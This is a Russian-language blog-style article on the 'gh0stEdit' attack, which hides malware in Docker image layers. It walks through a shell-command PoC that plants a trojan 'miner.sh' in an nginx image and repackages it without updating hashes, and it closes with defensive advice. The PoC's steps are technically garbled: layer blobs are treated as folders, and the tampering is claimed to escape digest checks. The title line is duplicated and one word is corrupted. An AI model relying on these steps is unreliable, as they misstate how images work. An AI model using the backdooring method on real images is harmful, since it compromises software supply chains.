Схема атаки gh0stEdit: вредонос встраивается в слой Docker-образа, а стандартные проверки изменений не выявляют.
Схема атаки gh0stEdit: вредонос встраивается в слой Docker-образа, а стандартные проверки изменений не выявляют.

Docker и контейнеризация давно стали стандартом. Мы подписываем образы, сканируем их на уязвимости, используем приватные реестры. Кажется, что цепочка поставки надёжно защищена.

Но исследователи показали атаку gh0stEdit (arxiv.org, 2025), которая ломает привычные представления. Суть: можно внедрить вредоносный код в Docker-образ так, что это не видно в истории, подписях и стандартных сканерах.

Пример атаки (PoC)

Ниже — демонстрация в упрощённом виде.

1. Берём базовый образ

docker pull nginx:alpine
docker save nginx:alpine -o nginx.tar

Теперь у нас есть tar-архив образа.

2. Извлекаем слои

mkdir exploit && tar -xf nginx.tar -C exploit
cd exploit

Внутри будут папки вида blobs/sha256/... — это слои образа.

3. Подмена содержимого

Допустим, мы хотим встроить «троян» — скрипт miner.sh.

echo -e '#!/bin/sh\necho "Mining started..."' > miner.sh
chmod +x miner.sh

Затем мы незаметно подмешиваем его в слой (например, в /usr/bin/).

cp miner.sh blobs/sha256/<layer-id>/usr/bin/

4. Пересборка без изменения метаданных

Ключевой трюк gh0stEdit — мы не пересчитываем хеш слоя, а оставляем прежний.
Для Docker это выглядит так, будто слой не менялся.

Файл manifest.json и repositories остаются прежними.

5. Загружаем образ обратно

tar -cf nginx_backdoored.tar *
docker load -i nginx_backdoored.tar
docker tag <id> nginx:ghosted

6. Проверка «чистоты»

docker history nginx:ghosted

Покажет ту же историю, что и у оригинала.

docker inspect nginx:ghosted

Метаданные совпадают, изменений нет.

7. Запуск и сюрприз

docker run --rm nginx:ghosted miner.sh

Вывод:

Mining started...

Образ прошёл все стандартные проверки, но внутри уже есть скрытый payload.

Почему это страшно

  • CI/CD пайплайн скачает образ, проверит подпись → «чисто».

  • Сканер уязвимостей прогонит → «чисто».

  • В продакш�� попадёт контейнер с бэкдором.

Таким образом, атакующий может встроить вредонос даже в подписанный образ из «надёжного» реестра.

Как защищаться

  1. Глубокая проверка содержимого

    • Использовать cosign с принудительной пересборкой хешей.

    • Проверять бинарники внутри слоёв через SBOM (Software Bill of Materials).

  2. Runtime-мониторинг

    • Инструменты Falco, Tetragon, eBPF-хуки: обнаружение аномальных процессов (например, xmrig внутри nginx).

  3. Zero Trust к supply chain

    • Использовать только воспроизводимые сборки (reproducible builds).

    • Пересобирать сторонние образы самостоятельно.

Заключение

gh0stEdit — это напоминание: безопасность контейнеров не заканчивается на подписях и сканерах. Мы должны верифицировать содержимое и наблюдать за поведением контейнеров на рантайме.